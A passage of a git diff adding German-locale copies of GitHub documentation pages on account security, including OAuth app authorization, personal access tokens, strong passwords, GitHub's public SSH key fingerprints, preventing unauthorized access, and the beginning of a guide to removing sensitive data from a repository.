+* Die {% data variables.product.prodname_github_app %} von ExampleApp fordert Schreibzugriff für Issues an.
+* Ein Benutzer mit Administratorzugriff für Repo A muss die {% data variables.product.prodname_github_app %} von ExampleApp in Repo A installiert haben.
+* Alice muss über Leseberechtigungen für Repo A verfügen. Informationen dazu, welche Berechtigungen zum Ausführen verschiedener Aktivitäten erforderlich sind, findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
new file mode 100644
index 0000000000..9eaad2d5c4
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps.md
@@ -0,0 +1,101 @@
+---
+title: Authorizing OAuth Apps
+intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing an {% data variables.product.prodname_oauth_app %}, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+redirect_from:
+  - /articles/authorizing-oauth-apps
+  - /github/authenticating-to-github/authorizing-oauth-apps
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+---
+When an {% data variables.product.prodname_oauth_app %} wants to identify you by your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you'll see a page with the app's developer contact information and a list of the specific data that's being requested.
+
+{% ifversion fpt or ghec %}
+
+{% tip %}
+
+**Tip:** You must [verify your email address](/articles/verifying-your-email-address) before you can authorize an {% data variables.product.prodname_oauth_app %}.
+
+{% endtip %}
+
+{% endif %}
+
+## {% data variables.product.prodname_oauth_app %} access
+
+{% data variables.product.prodname_oauth_apps %} can have *read* or *write* access to your {% data variables.product.product_name %} data.
+
+- **Read access** only allows an app to *look at* your data.
+- **Write access** allows an app to *change* your data.
+
+{% tip %}
+
+**Tip:** {% data reusables.user-settings.review_oauth_tokens_tip %}
+
+{% endtip %}
+
+### About OAuth scopes
+
+*Scopes* are named groups of permissions that an {% data variables.product.prodname_oauth_app %} can request to access both public and non-public data.
+
+When you want to use an {% data variables.product.prodname_oauth_app %} that integrates with {% data variables.product.product_name %}, that app lets you know what type of access to your data will be required. If you grant access to the app, then the app will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+
+{% tip %}
+
+**Note:** Currently, you can't scope source code access to read-only.
+
+{% endtip %}
+
+{% data reusables.apps.oauth-token-limit %}
+
+### Types of requested data
+
+{% data variables.product.prodname_oauth_apps %} can request several types of data.
+
+| Type of data | Description |
+| --- | --- |
+| Commit status | You can grant access for an app to report your commit status. Commit status access allows apps to determine if a build is a successful against a specific commit. Apps won't have access to your code, but they can read and write status information against a specific commit. |
+| Deployments | Deployment status access allows apps to determine if a deployment is successful against a specific commit for public and private repositories. Apps won't have access to your code. |
+| Gists | [Gist](https://gist.github.com) access allows apps to read or write to both your public and secret Gists. |
+| Hooks | [Webhooks](/webhooks) access allows apps to read or write hook configurations on repositories you manage. |
+| Notifications | Notification access allows apps to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, apps remain unable to access anything in your repositories. |
+| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
+| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
+| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. Apps can request access for either public or private repositories on a user-wide level. |
+| Repository delete | Apps can request to delete repositories that you administer, but they won't have access to your code. |{% ifversion projects-oauth-scope %}
+| Projects | Access to user and organization {% data variables.projects.projects_v2 %}. Apps can request either read/write or read only access. |{% endif %}
+
+## Requesting updated permissions
+
+When {% data variables.product.prodname_oauth_apps %} request new access permissions, they will notify you of the differences between their current permissions and the new permissions.
+
+{% ifversion fpt or ghec %}
+
+## {% data variables.product.prodname_oauth_apps %} and organizations
+
+When you authorize an {% data variables.product.prodname_oauth_app %} for your personal account, you'll also see how the authorization will affect each organization you're a member of.
+
+- **For organizations *with* {% data variables.product.prodname_oauth_app %} access restrictions, you can request that organization admins approve the application for use in that organization.** If the organization does not approve the application, then the application will only be able to access the organization's public resources. If you're an organization admin, you can [approve the application](/articles/approving-oauth-apps-for-your-organization) yourself.
+
+- **For organizations *without* {% data variables.product.prodname_oauth_app %} access restrictions, the application will automatically be authorized for access to that organization's resources.** For this reason, you should be careful about which {% data variables.product.prodname_oauth_apps %} you approve for access to your personal account resources as well as any organization resources.
+
+If you belong to any organizations that enforce SAML single sign-on, you must have an active SAML session for each organization each time you authorize an {% data variables.product.prodname_oauth_app %}.
+
+{% note %}
+
+**Note:** If you are encountering errors authenticating to an organization that enforces SAML single sign-on, you may need to revoke the OAuth App from your [account settings page](https://github.com/settings/applications) and repeat the authentication flow to reauthorize the app.
+
+{% endnote %}
+
+## Further reading
+
+- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[Authorizing GitHub Apps](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)"
+- "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)"
+
+{% endif %}
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
new file mode 100644
index 0000000000..18f778b865
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/connecting-with-third-party-applications.md
@@ -0,0 +1,77 @@
+---
+title: Connecting with third-party applications
+intro: 'You can connect your {% data variables.product.product_name %} identity to third-party applications using OAuth. When authorizing one of these applications, you should ensure you trust the application, review who it''s developed by, and review the kinds of information the application wants to access.'
+redirect_from:
+  - /articles/connecting-with-third-party-applications
+  - /github/authenticating-to-github/connecting-with-third-party-applications
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/connecting-with-third-party-applications
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Third-party applications
+---
+When a third-party application wants to identify you by your {% data variables.product.product_name %} login, you'll see a page with the developer contact information and a list of the specific data that's being requested.
+
+## Contacting the application developer
+
+Because an application is developed by a third-party who isn't {% data variables.product.product_name %}, we don't know exactly how an application uses the data it's requesting access to. You can use the developer information at the top of the page to contact the application admin if you have questions or concerns about their application.
+
+![{% data variables.product.prodname_oauth_app %} owner information](/assets/images/help/platform/oauth_owner_bar.png)
+
+If the developer has chosen to supply it, the right-hand side of the page provides a detailed description of the application, as well as its associated website.
+
+![OAuth application information and website](/assets/images/help/platform/oauth_app_info.png)
+
+## Types of application access and data
+
+Applications can have *read* or *write* access to your {% data variables.product.product_name %} data.
+
+- **Read access** only allows an application to *look at* your data.
+- **Write access** allows an application to *change* your data.
+
+### About OAuth scopes
+
+*Scopes* are named groups of permissions that an application can request to access both public and non-public data.
+
+When you want to use a third-party application that integrates with {% data variables.product.product_name %}, that application lets you know what type of access to your data will be required. If you grant access to the application, then the application will be able to perform actions on your behalf, such as reading or modifying data. For example, if you want to use an app that requests `user:email` scope, the app will have read-only access to your private email addresses. For more information, see "[About scopes for {% data variables.product.prodname_oauth_apps %}](/apps/building-integrations/setting-up-and-registering-oauth-apps/about-scopes-for-oauth-apps)."
+
+{% tip %}
+
+**Note:** Currently, you can't scope source code access to read-only.
+
+{% endtip %}
+
+### Types of requested data
+
+There are several types of data that applications can request.
+
+![OAuth access details](/assets/images/help/platform/oauth_access_types.png)
+
+{% tip %}
+
+**Tip:** {% data reusables.user-settings.review_oauth_tokens_tip %}
+
+{% endtip %}
+
+| Type of data | Description |
+| --- | --- |
+| Commit status | You can grant access for a third-party application to report your commit status. Commit status access allows applications to determine if a build is a successful against a specific commit. Applications won't have access to your code, but they <em>can</em> read and write status information against a specific commit. |
+| Deployments | Deployment status access allows applications to determine if a deployment is successful against a specific commit for a repository. Applications won't have access to your code. |
+| Gists | [Gist](https://gist.github.com) access allows applications to read or write to {% ifversion not ghae %}both your public and{% else %}both your internal and{% endif %} secret Gists. |
+| Hooks | [Webhooks](/webhooks) access allows applications to read or write hook configurations on repositories you manage. |
+| Notifications | Notification access allows applications to read your {% data variables.product.product_name %} notifications, such as comments on issues and pull requests. However, applications remain unable to access anything in your repositories. |
+| Organizations and teams | Organization and teams access allows apps to access and manage organization and team membership. |
+| Personal user data | User data includes information found in your user profile, like your name, e-mail address, and location. |
+| Repositories | Repository information includes the names of contributors, the branches you've created, and the actual files within your repository. An application can request access to all of your repositories of any visibility level. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." |
+| Repository delete | Applications can request to delete repositories that you administer, but they won't have access to your code. |
+
+## Requesting updated permissions
+
+Applications can request new access privileges. When asking for updated permissions, the application will notify you of the differences.
+
+![Changing third-party application access](/assets/images/help/platform/oauth_existing_access_pane.png)
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
new file mode 100644
index 0000000000..2a8409c383
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token.md
@@ -0,0 +1,147 @@
+---
+title: Creating a personal access token
+intro: 'You can create a {% data variables.product.pat_generic %} to use in place of a password with the command line or with the API.'
+redirect_from:
+  - /articles/creating-an-oauth-token-for-command-line-use
+  - /articles/creating-an-access-token-for-command-line-use
+  - /articles/creating-a-personal-access-token-for-the-command-line
+  - /github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line
+  - /github/authenticating-to-github/creating-a-personal-access-token
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token
+  - /github/extending-github/git-automation-with-oauth-tokens
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: 'Create a {% data variables.product.pat_generic %}'
+---
+
+{% warning %}
+
+**Warning**: Treat your access tokens like passwords.
+
+To access {% data variables.product.company_short %} from the command line, consider using {% data variables.product.prodname_cli %} or [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager/blob/main/README.md) instead of creating a {% data variables.product.pat_generic %}.
+
+When using a {% data variables.product.pat_generic %} in a script, consider storing your token as a secret and running your script through {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."{%- ifversion ghec or fpt %} You can also store your token as a {% data variables.product.prodname_codespaces %} secret and run your script in {% data variables.product.prodname_codespaces %}. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)."{% endif %}
+
+If these options are not possible, consider using another service such as [the 1Password CLI](https://developer.1password.com/docs/cli/secret-references/) to store your token securely.
+
+{% endwarning %}
+
+## About {% data variables.product.pat_generic %}s
+
+{% data variables.product.pat_generic_caps %} are an alternative to using passwords for authentication to {% data variables.product.product_name %} when using the [GitHub API](/rest/overview/other-authentication-methods#via-oauth-and-personal-access-tokens) or the [command line](#using-a-token-on-the-command-line). {% data variables.product.pat_generic_caps %}s are intended to access {% data variables.product.company_short %} resources on behalf of yourself. To access resources on behalf of an organization, or for long-lived integrations, you should use a {% data variables.product.prodname_github_app %}. For more information, see "[About apps](/developers/apps/getting-started-with-apps/about-apps)."
+
+{% ifversion pat-v2 %}
+
+{% data variables.product.company_short %} currently supports two types of {% data variables.product.pat_generic %}s: {% data variables.product.pat_v2 %}s and {% data variables.product.pat_v1_plural %}. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead of {% data variables.product.pat_v1_plural %} whenever possible. {% data variables.product.pat_v2_caps %}s have several security advantages over {% data variables.product.pat_v1_plural %}:
+
+- Each token can only access resources owned by a single user or organization.
+- Each token can only access specific repositories.
+- Each token is granted specific permissions, which offer more control than the scopes granted to {% data variables.product.pat_v1_plural %}.
+- Each token must have an expiration date.
+- Organization owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in the organization.{% ifversion ghec or ghes or ghae %}
+- Enterprise owners can require approval for any {% data variables.product.pat_v2 %}s that can access resources in organizations owned by the enterprise.{% endif %}
+
+Additionally, organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization{% ifversion ghec or ghes or ghae %}, and enterprise owners can restrict the access of {% data variables.product.pat_v1 %} to the enterprise or organizations owned by the enterprise{% endif %}.
+
+{% data reusables.user-settings.patv2-limitations %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}{% data reusables.user-settings.removes-personal-access-tokens %}{% endif %}
+
+{% ifversion pat-v2 %}
+
+## Creating a {% data variables.product.pat_v2 %}
+
+{% note %}
+
+**Note**: {% data reusables.user-settings.pat-v2-beta %}
+
+{% endnote %}
+
+{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Fine-grained tokens**.
+1. Click **Generate new token**.
+1. Optionally, under **Token name**, enter a name for the token.
+1. Under **Expiration**, select an expiration for the token.
+1. Optionally, under **Description**, add a note to describe the purpose of the token.
+1. Under **Resource owner**, select a resource owner. The token will only be able to access resources owned by the selected resource owner. Organizations that you are a member of will not appear unless the organization opted in to {% data variables.product.pat_v2 %}s. For more information, see "[Setting a {% data variables.product.pat_generic %} policy for your organization](/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization)."{% ifversion ghec or ghae %} You may be required to perform SAML single sign-on (SSO) if the selected organization requires it and you do not already have an active SAML session.{% endif %}
+1. Optionally, if the resource owner is an organization that requires approval for {% data variables.product.pat_v2 %}s, below the resource owner, in the box, enter a justification for the request.
+1. Under **Repository access**, select which repositories you want the token to access. You should choose the minimal repository access that meets your needs. Tokens always include read-only access to all public repositories on GitHub.
+1. If you selected **Only select repositories** in the previous step, under the **Selected repositories** dropdown, select the repositories that you want the token to access.
+1. Under **Permissions**, select which permissions to grant the token. Depending on which resource owner and which repository access you specified, there are repository, organization, and account permissions. You should choose the minimal permissions necessary for your needs. For more information about what permissions are required for each REST API operation, see "[Permissions required for {% data variables.product.pat_v2 %}s](/rest/overview/permissions-required-for-fine-grained-personal-access-tokens)."
+1. Click **Generate token**.
+
+If you selected an organization as the resource owner and the organization requires approval for {% data variables.product.pat_v2 %}s, then your token will be marked as `pending` until it is reviewed by an organization administrator. Your token will only be able to read public resources until it is approved. If you are an owner of the organization, your request is automatically approved. For more information, see "[Reviewing and revoking {% data variables.product.pat_generic %}s in your organization](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization)".
+
+{% endif %}
+
+## Creating a {% data variables.product.pat_v1 %}
+
+{% ifversion pat-v2 %}
+
+{% note %}
+
+**Note**: Organization owners can restrict the access of {% data variables.product.pat_v1 %} to their organization. If you try to use a {% data variables.product.pat_v1 %} to access resources in an organization that has disabled {% data variables.product.pat_v1 %} access, your request will fail with a 403 response. Instead, you must use a {% data variables.product.prodname_github_app %}, {% data variables.product.prodname_oauth_app %}, or {% data variables.product.pat_v2 %}.
+
+{% endnote %}
+
+{% endif %}
+
+{% ifversion pat-v2 %}
+
+{% warning %}
+
+**Note**: Your {% data variables.product.pat_v1 %} can access every repository that you can access. {% data variables.product.company_short %} recommends that you use {% data variables.product.pat_v2 %}s instead, which you can restrict to specific repositories. {% data variables.product.pat_v2_caps %}s also enable you to specify fine-grained permissions instead of broad scopes.
+
+{% endwarning %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}1. [Verify your email address](/github/getting-started-with-github/verifying-your-email-address), if it hasn't been verified yet.{% endif %}
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% ifversion pat-v2 %}1. In the left sidebar, under **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}s**, click **Tokens (classic)**.{% else %}{% data reusables.user-settings.personal_access_tokens %}{% endif %}
+{% ifversion pat-v2%}1. Select **Generate new token**, then click **Generate new token (classic)**.{% else %}{% data reusables.user-settings.generate_new_token %}{% endif %}
+5. Give your token a descriptive name.
+   ![Token description field](/assets/images/help/settings/token_description.png)
+6. To give your token an expiration, select the **Expiration** drop-down menu, then click a default or use the calendar picker.
+   ![Token expiration field](/assets/images/help/settings/token_expiration.png)
+7. Select the scopes you'd like to grant this token. To use your token to access repositories from the command line, select **repo**. A token with no assigned scopes can only access public information. For more information, see "[Available scopes](/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes)".
+   {% ifversion fpt or ghes or ghec %}
+   ![Selecting token scopes](/assets/images/help/settings/token_scopes.gif)
+   {% elsif ghae %}
+   ![Selecting token scopes](/assets/images/enterprise/github-ae/settings/access-token-scopes-for-ghae.png)
+   {% endif %}
+8. Click **Generate token**.
+   ![Generate token button](/assets/images/help/settings/generate_token.png)
+   {% ifversion fpt or ghec %}
+   ![Newly created token](/assets/images/help/settings/personal_access_tokens.png)
+   {% elsif ghes or ghae %}
+   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe.png)
+   {% else %}
+   ![Newly created token](/assets/images/help/settings/personal_access_tokens_ghe_legacy.png){% endif %}{% ifversion fpt or ghec %}
+1. To use your token to access resources owned by an organization that uses SAML single sign-on, authorize the token. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+
+## Using a token on the command line
+
+{% data reusables.command_line.providing-token-as-password %}
+
+{% data variables.product.pat_generic_caps %}s can only be used for HTTPS Git operations. If your repository uses an SSH remote URL, you will need to [switch the remote from SSH to HTTPS](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-ssh-to-https).
+
+If you are not prompted for your username and password, your credentials may be cached on your computer. You can [update your credentials in the Keychain](/github/getting-started-with-github/updating-credentials-from-the-macos-keychain) to replace your old password with the token.
+
+Instead of manually entering your {% data variables.product.pat_generic %} for every HTTPS Git operation, you can cache your {% data variables.product.pat_generic %} with a Git client. Git will temporarily store your credentials in memory until an expiry interval has passed. You can also store the token in a plain text file that Git can read before every request. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+
+## Further reading
+
+- "[About authentication to GitHub](/github/authenticating-to-github/about-authentication-to-github)"
+- "[Token expiration and revocation](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation)"
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
new file mode 100644
index 0000000000..758beda311
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/creating-a-strong-password.md
@@ -0,0 +1,38 @@
+---
+title: Creating a strong password
+intro: 'Secure your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} with a strong and unique password using a password manager.'
+redirect_from:
+  - /articles/what-is-a-strong-password
+  - /articles/creating-a-strong-password
+  - /github/authenticating-to-github/creating-a-strong-password
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-strong-password
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Create a strong password
+---
+You must choose or generate a password for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} that is at least:
+- {% ifversion ghes %}Seven{% else %}Eight{% endif %} characters long, if it includes a number and a lowercase letter, or
+- 15 characters long with any combination of characters
+
+To keep your account secure, we recommend you follow these best practices:
+- Use a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/), to generate a password of at least 15 characters.
+- Generate a unique password for {% data variables.product.product_name %}. If you use your {% data variables.product.product_name %} password elsewhere and that service is compromised, then attackers or other malicious actors could use that information to access your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+- Configure two-factor authentication for your personal account. For more information, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+- Never share your password, even with a potential collaborator. Each person should use their own personal account on {% data variables.product.product_name %}. For more information on ways to collaborate, see: "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)," "[About collaborative development models](/articles/about-collaborative-development-models/)," or "[Collaborating with groups in organizations](/organizations/collaborating-with-groups-in-organizations/)."
+
+{% data reusables.repositories.blocked-passwords %}
+
+You can only use your password to log on to {% data variables.product.product_name %} using your browser. When you authenticate to {% data variables.product.product_name %} with other means, such as the command line or API, you should use other credentials. For more information, see "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)." 
+
+{% ifversion fpt or ghec %}{% data reusables.user-settings.password-authentication-deprecation %}{% endif %}
+
+## Further reading
+
+- "[Caching your {% data variables.product.product_name %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
+- "[Keeping your account and data secure](/articles/keeping-your-account-and-data-secure/)"
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
new file mode 100644
index 0000000000..72409a24ae
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints.md
@@ -0,0 +1,28 @@
+---
+title: SSH-Schlüssel-Fingerprints von GitHub
+intro: Öffentliche Schlüssel-Fingerprints können für die Validierung einer Verbindung zu einem Remote-Server benutzt werden.
+redirect_from:
+  - /articles/what-are-github-s-ssh-key-fingerprints
+  - /articles/github-s-ssh-key-fingerprints
+  - /articles/githubs-ssh-key-fingerprints
+  - /github/authenticating-to-github/githubs-ssh-key-fingerprints
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: SSH key fingerprints
+ms.openlocfilehash: 29f61df463d014e6a72ad7dd21049a2b338b893e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145086039'
+---
+Dies sind die öffentlichen Schlüssel-Fingerprints von {% data variables.product.prodname_dotcom %}:
+
+- `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8` (RSA)
+- `SHA256:p2QAMXNIC1TJYWeIOttrVc98/R1BUFWu3/LiyKgUfQM` (ECDSA)
+- `SHA256:+DiY3wvvV6TuJJhbpZisF/zLDA0zPMSvHdkr4UvCOqU` (Ed25519)
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/index.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/index.md
new file mode 100644
index 0000000000..b2431aab33
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/index.md
@@ -0,0 +1,38 @@
+---
+title: Keeping your account and data secure
+intro: 'To protect your personal information, you should keep both your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} and any associated data secure.'
+redirect_from:
+  - /articles/keeping-your-account-and-data-secure
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+children:
+  - /about-authentication-to-github
+  - /creating-a-strong-password
+  - /updating-your-github-access-credentials
+  - /creating-a-personal-access-token
+  - /reviewing-your-ssh-keys
+  - /reviewing-your-deploy-keys
+  - /authorizing-oauth-apps
+  - /authorizing-github-apps
+  - /reviewing-your-authorized-integrations
+  - /connecting-with-third-party-applications
+  - /reviewing-your-authorized-applications-oauth
+  - /token-expiration-and-revocation
+  - /reviewing-your-security-log
+  - /removing-sensitive-data-from-a-repository
+  - /about-anonymized-urls
+  - /about-githubs-ip-addresses
+  - /githubs-ssh-key-fingerprints
+  - /sudo-mode
+  - /preventing-unauthorized-access
+  - /viewing-and-managing-your-sessions
+shortTitle: Account security
+---
+
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md
new file mode 100644
index 0000000000..a0bcd546ee
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/preventing-unauthorized-access.md
@@ -0,0 +1,30 @@
+---
+title: Preventing unauthorized access
+intro: 'You may be alerted to a security incident in the media, such as the discovery of the [Heartbleed bug](http://heartbleed.com/), or your computer could be stolen while you''re signed in to {% data variables.location.product_location %}. In such cases, changing your password prevents any unintended future access to your account and projects.'
+redirect_from:
+  - /articles/preventing-unauthorized-access
+  - /github/authenticating-to-github/preventing-unauthorized-access
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/preventing-unauthorized-access
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Unauthorized access
+---
+{% data variables.product.product_name %} requires a password to perform sensitive actions, such as adding new SSH keys, authorizing applications, or modifying team members.
+
+After changing your password, you should perform these actions to make sure that your account is secure:
+
+- [Enable two-factor authentication](/articles/about-two-factor-authentication) on your account so that access requires more than just a password.
+- [Review your SSH keys](/articles/reviewing-your-ssh-keys), [deploy keys](/articles/reviewing-your-deploy-keys), and [authorized integrations](/articles/reviewing-your-authorized-integrations) and revoke unauthorized or unfamiliar access in your SSH and Applications settings.
+{% ifversion fpt or ghec %}
+- [Verify all your email addresses](/articles/verifying-your-email-address). If an attacker added their email address to your account, it could allow them to force an unintended password reset.
+{% endif %}
+- [Review your account's security log](/github/authenticating-to-github/reviewing-your-security-log). This provides an overview on various configurations made to your repositories. For example, you can ensure that no private repositories were turned public, or that no repositories were transferred.
+- [Review the webhooks](/articles/creating-webhooks) on your repositories. Webhooks could allow an attacker to intercept pushes made to your repository.
+- [Make sure that no new deploy keys](/guides/managing-deploy-keys/#deploy-keys) were created. This could enable outside servers access to your projects.
+- Review recent commits made to your repositories.
+- Review the list of collaborators for each repository.
diff --git a/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
new file mode 100644
index 0000000000..1f4dc55b3f
--- /dev/null
+++ b/translations/de-DE/content/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository.md
@@ -0,0 +1,192 @@
+---
+title: Removing sensitive data from a repository
+intro: 'If you commit sensitive data, such as a password or SSH key into a Git repository, you can remove it from the history. To entirely remove unwanted files from a repository''s history you can use either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.'
+redirect_from:
+  - /remove-sensitive-data
+  - /removing-sensitive-data
+  - /articles/remove-sensitive-data
+  - /articles/removing-sensitive-data-from-a-repository
+  - /github/authenticating-to-github/removing-sensitive-data-from-a-repository
+  - /github/authenticating-to-github/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Identity
+  - Access management
+shortTitle: Remove sensitive data
+---
+The `git filter-repo` tool and the BFG Repo-Cleaner rewrite your repository's history, which changes the SHAs for existing commits that you alter and any dependent commits. Changed commit SHAs may affect open pull requests in your repository. We recommend merging or closing all open pull requests before removing files from your repository.
+
+You can remove the file from the latest commit with `git rm`. For information on removing a file that was added with the latest commit, see "[About large files on {% data variables.product.prodname_dotcom %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github#removing-files-from-a-repositorys-history)."
+
+{% warning %}
+
+**Warning**: This article tells you how to make commits with sensitive data unreachable from any branches or tags in your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. However, those commits may still be accessible in any clones or forks of your repository, directly via their SHA-1 hashes in cached views on {% data variables.product.product_name %}, and through any pull requests that reference them. You cannot remove sensitive data from other users' clones of your repository, but you can permanently remove cached views and references to the sensitive data in pull requests on {% data variables.product.product_name %} by contacting {% data variables.contact.contact_support %}. 
+
+If the commit that introduced the sensitive data exists in any forks of your repository, it will continue to be accessible, unless the fork owner removes the sensitive data from their fork or deletes the fork entirely. 
+
+Once you have pushed a commit to {% data variables.product.product_name %}, you should consider any sensitive data in the commit compromised. If you have committed a password, you should change it. If you have committed a key, generate a new one. Removing the compromised data doesn't resolve its initial exposure, especially in existing clones or forks of your repository. 
+
+Consider these limitations in your decision to rewrite your repository's history.
+
+{% endwarning %}
+
+## Purging a file from your repository's history
+
+You can purge a file from your repository's history using either the `git filter-repo` tool or the BFG Repo-Cleaner open source tool.
+
+### Using the BFG
+
